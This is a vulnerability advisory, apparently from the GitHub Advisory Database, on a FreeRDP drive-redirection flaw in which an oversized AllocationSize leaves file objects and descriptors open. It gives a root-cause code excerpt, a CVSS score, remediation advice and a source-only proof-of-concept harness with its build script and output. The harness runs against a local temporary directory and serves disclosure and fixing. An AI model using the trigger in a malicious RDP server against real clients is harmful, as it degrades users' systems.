FreeRDP: Failed redirected-drive creates retain file objects and operating-system handles
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
When a FreeRDP client connects to a malicious or compromised RDP server with local drive redirection enabled, the server can send IRP_MJ_CREATE with AllocationSize=UINT64_MAX. FreeRDP opens the requested local file and inserts its DRIVE_FILE into the drive dictionary before applying the allocation size. The seek fails because the requested offset exceeds INT64_MAX, but the error return neither removes nor frees the registered object. The object and operating-system handle remain live until drive teardown.
The behavior was introduced in 3.13.0 and remains in 3.31.1 and current master. No fixed release is known. This report does not claim remote code execution, memory corruption, access outside the shared directory, or retention beyond device teardown.
Root cause
drive_process_irp_create in channels/drive/client/drive_main.c transfers the opened file into dictionary ownership before its fallible allocation-size operations:
if (!ListDictionary_Add(drive->files, key, file))
return ERROR_INTERNAL_ERROR;
/* disposition handling omitted */
if (allocationSize > 0)
{
const BYTE buffer[] = { '\0' };
if (!drive_file_seek(file, allocationSize - sizeof(buffer)))
return ERROR_INTERNAL_ERROR;
if (!drive_file_write(file, buffer, sizeof(buffer)))
return ERROR_INTERNAL_ERROR;
}Both post-registration errors bypass removal. drive_file_seek rejects an offset greater than INT64_MAX, making UINT64_MAX a deterministic trigger. The dictionary destructor eventually calls drive_file_free, but only when the entry is removed or the drive is torn down.
Commit bfa8c498f added the allocation-size operations and was first released in 3.13.0. FreeRDP 3.12.0 parses but does not use the field. The ordering was directly checked in 3.13.0, 3.20.0, 3.31.1, and current master; no later cleanup change was found. Public issue #4161 predates this code and concerns a different redirected-folder write failure.
Security impact and prerequisites
- Alice must enable drive redirection and connect to Mallory's malicious or compromised RDP server.
- The shared directory must permit creation of the server-selected relative filename.
- Mallory supplies
FILE_OPEN_IF, read/write access, andAllocationSize=UINT64_MAX. - The handler opens and registers the file, then returns an error after the seek fails.
- Each direct handler failure retains one
DRIVE_FILEand one descriptor until drive teardown. - The normal asynchronous drive worker stops after the first handler error, which limits the demonstrated accumulation over a real connection.
The source-only harness repeated the real handler 50 times and observed 50 retained dictionary objects and 50 additional descriptors. The matched zero-allocation create/close control observed neither. A live malicious-server replay was not performed, so the report does not claim that one connection can accumulate 50 entries or exhaust a default descriptor limit.
The recommended score is CVSS 3.1 4.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L). Attack Vector is Network because the connected RDP server supplies the request. No server-side authentication privilege is required. User Interaction is Required because Alice must connect and enable drive redirection. Scope is unchanged, and the demonstrated impact is Low availability through connection-lifetime resource retention and file-handle pinning.
Proof of concept
The source-only PoC includes FreeRDP's unmodified drive implementation and calls the real create and close handlers against a temporary local directory. Run it against matching source, build, and library trees:
cd poc ./run.sh <freerdp-source> <freerdp-build> <freerdp-library-dir>
Observed output:
[attack] create_errors=50 successes=0 files_in_dict=50 fd_before=4 fd_after=54 fd_delta=50 RESULT mode=attack registered_files_after_error=50 fd_leak=50 [control] create_errors=0 successes=50 files_in_dict=0 fd_before=4 fd_after=4 fd_delta=0 RESULT mode=control registered_files_after_error=0 fd_leak=0
<!-- BEGIN FILE: README.md -->
# FreeRDP drive create resource-retention reproducer This source-only harness includes FreeRDP's unmodified `drive_file.c` and `drive_main.c`, sends 50 IRP-shaped create requests through `drive_process_irp_create`, and measures both the product dictionary and open file descriptors. The attack uses `AllocationSize=UINT64_MAX`; the matched control uses zero and closes each successful file. Run `./run.sh <freerdp-source> <freerdp-build> <freerdp-library-dir>` against an AddressSanitizer-enabled FreeRDP build. The source and build trees must describe the same revision. The script compiles in a temporary directory and removes the binary afterward. The harness frees retained product objects and deletes its temporary file after recording each result.
<!-- END FILE: README.md -->
<!-- BEGIN FILE: run.sh -->
#!/bin/sh
set -eu
if [ "$#" -ne 3 ]; then
echo "usage: $0 <freerdp-source> <freerdp-build> <freerdp-library-dir>" >&2
exit 2
fi
SOURCE=$1
BUILD=$2
LIBDIR=$3
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK=$(mktemp -d "${TMPDIR:-.}/freerdp-drive-retain.XXXXXX")
trap 'rm -rf "$WORK"' EXIT HUP INT TERM
cc -w -DNDEBUG -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-Wno-error -ffunction-sections -fdata-sections \
-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
-I"$BUILD/winpr/include" -I"$BUILD/include" \
-I"$SOURCE/channels/drive/client" \
-o "$WORK/harness" "$BASE_DIR/harness.c" \
-L"$LIBDIR" -Wl,-rpath,"$LIBDIR" \
-lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread -Wl,--gc-sections
export LD_LIBRARY_PATH="$LIBDIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
export ASAN_OPTIONS=detect_leaks=1
"$WORK/harness" attack
"$WORK/harness" control<!-- END FILE: run.sh -->
<!-- BEGIN FILE: harness.c -->
/*
* Exercise FreeRDP's real drive IRP create and close handlers against a real
* temporary directory. The attack case supplies UINT64_MAX as AllocationSize;
* the control uses zero and closes each successfully created file.
*/
#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <freerdp/channels/rdpdr.h>
#include <freerdp/utils/rdpdr_utils.h>
#include "drive_file.c"
#include "drive_main.c"
static int count_fds(void)
{
DIR* d = opendir("/proc/self/fd");
if (!d)
return -1;
int n = 0;
struct dirent* entry = NULL;
while ((entry = readdir(d)) != NULL)
{
if ((strcmp(entry->d_name, ".") != 0) && (strcmp(entry->d_name, "..") != 0))
n++;
}
closedir(d);
return n;
}
int main(int argc, char** argv)
{
const BOOL attack = (argc > 1) && (strcmp(argv[1], "attack") == 0);
char tmpdir[] = "/tmp/freerdp-drive-retain-XXXXXX";
char* dir = mkdtemp(tmpdir);
if (!dir)
{
perror("mkdtemp");
return 2;
}
WCHAR* wdir = ConvertUtf8ToWCharAlloc(dir, NULL);
if (!wdir)
return 2;
DRIVE_DEVICE drive;
memset(&drive, 0, sizeof(drive));
drive.path = wdir;
drive.files = ListDictionary_New(TRUE);
if (!drive.files)
return 2;
ListDictionary_ValueObject(drive.files)->fnObjectFree = drive_file_objfree;
DEVMAN devman;
memset(&devman, 0, sizeof(devman));
devman.id_sequence = 1000;
const int fd_before = count_fds();
unsigned errors = 0;
unsigned successes = 0;
for (int i = 0; i < 50; i++)
{
IRP irp;
memset(&irp, 0, sizeof(irp));
irp.devman = &devman;
irp.input = Stream_New(NULL, 128);
irp.output = Stream_New(NULL, 32);
if (!irp.input || !irp.output)
return 2;
static const WCHAR name[] = { 'r', 'e', 't', 'a', 'i', 'n', '.', 'b', 'i', 'n', 0 };
const UINT32 path_length =
(UINT32)((sizeof(name) / sizeof(WCHAR)) - 1) * sizeof(WCHAR);
Stream_Write_UINT32(irp.input, GENERIC_READ | GENERIC_WRITE);
Stream_Write_UINT64(irp.input, attack ? UINT64_MAX : 0);
Stream_Write_UINT32(irp.input, 0); /* FileAttributes */
Stream_Write_UINT32(irp.input, 0x7); /* SharedAccess */
Stream_Write_UINT32(irp.input, FILE_OPEN_IF);
Stream_Write_UINT32(irp.input, 0); /* CreateOptions */
Stream_Write_UINT32(irp.input, path_length); /* PathLength */
Stream_Write(irp.input, name, path_length);
Stream_SealLength(irp.input);
Stream_SetPosition(irp.input, 0);
const UINT rc = drive_process_irp_create(&drive, &irp);
if (attack)
{
if (rc == ERROR_INTERNAL_ERROR)
errors++;
}
else if (rc == CHANNEL_RC_OK)
{
successes++;
Stream_SetPosition(irp.output, 0);
UINT32 id = 0;
Stream_Read_UINT32(irp.output, id);
irp.FileId = id;
(void)drive_process_irp_close(&drive, &irp);
}
Stream_Free(irp.input, TRUE);
Stream_Free(irp.output, TRUE);
}
const int fd_after = count_fds();
const size_t retained = ListDictionary_Count(drive.files);
const int fd_delta = fd_after - fd_before;
printf("[%s] create_errors=%u successes=%u files_in_dict=%zu fd_before=%d fd_after=%d "
"fd_delta=%d\n",
attack ? "attack" : "control", errors, successes, retained, fd_before, fd_after,
fd_delta);
printf("RESULT mode=%s registered_files_after_error=%zu fd_leak=%d\n",
attack ? "attack" : "control", retained, fd_delta);
const BOOL passed = attack ? ((errors == 50) && (retained == 50) && (fd_delta == 50))
: ((successes == 50) && (retained == 0) && (fd_delta == 0));
ListDictionary_Free(drive.files);
free(wdir);
char path[512] = { 0 };
(void)snprintf(path, sizeof(path), "%s/retain.bin", dir);
(void)unlink(path);
(void)rmdir(dir);
return passed ? 0 : 1;
}<!-- END FILE: harness.c -->
Suggested remediation
Do not register the file until allocation-size processing succeeds. Alternatively, direct every post-registration failure through one cleanup path that removes the dictionary entry and therefore closes and frees the object. Also free the new file if ListDictionary_Add itself fails because ownership was not transferred.
Add an end-to-end regression test that sends the oversized allocation value and asserts an error response without changing dictionary or descriptor counts. Keep a successful zero-allocation create/close as the control and test a post-seek write failure separately.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.13.0, <= 3.31.1GitHub